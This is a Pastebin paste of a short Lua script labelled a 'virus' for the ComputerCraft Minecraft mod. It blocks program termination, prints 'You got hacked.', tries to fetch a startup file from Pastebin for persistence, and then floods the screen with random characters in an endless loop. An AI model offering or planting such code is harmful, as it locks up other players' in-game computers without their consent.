Advertisement
Guest User

Bormgin450g

a guest
Apr 28th, 2015
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. --Virus For Computer Craft
  2. local pullEvent = os.pullEvent
  3. os.pullEvent = os.pullEventRaw
  4. local w, h = term.getSize()
  5. print("You got hacked.")
  6. shell.run("pastebin get startup")
  7. sleep(2)
  8. Tab = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "@", "!", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"}
  9. while true do
  10. os.queueEvent("randomEvent")
  11. os.pullEvent()
  12. term.setCursorPos(math.random(1, w), math.random(1, h))
  13. local index = math.random(1, table.getn(Tab))
  14. write(Tab[index])
  15. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement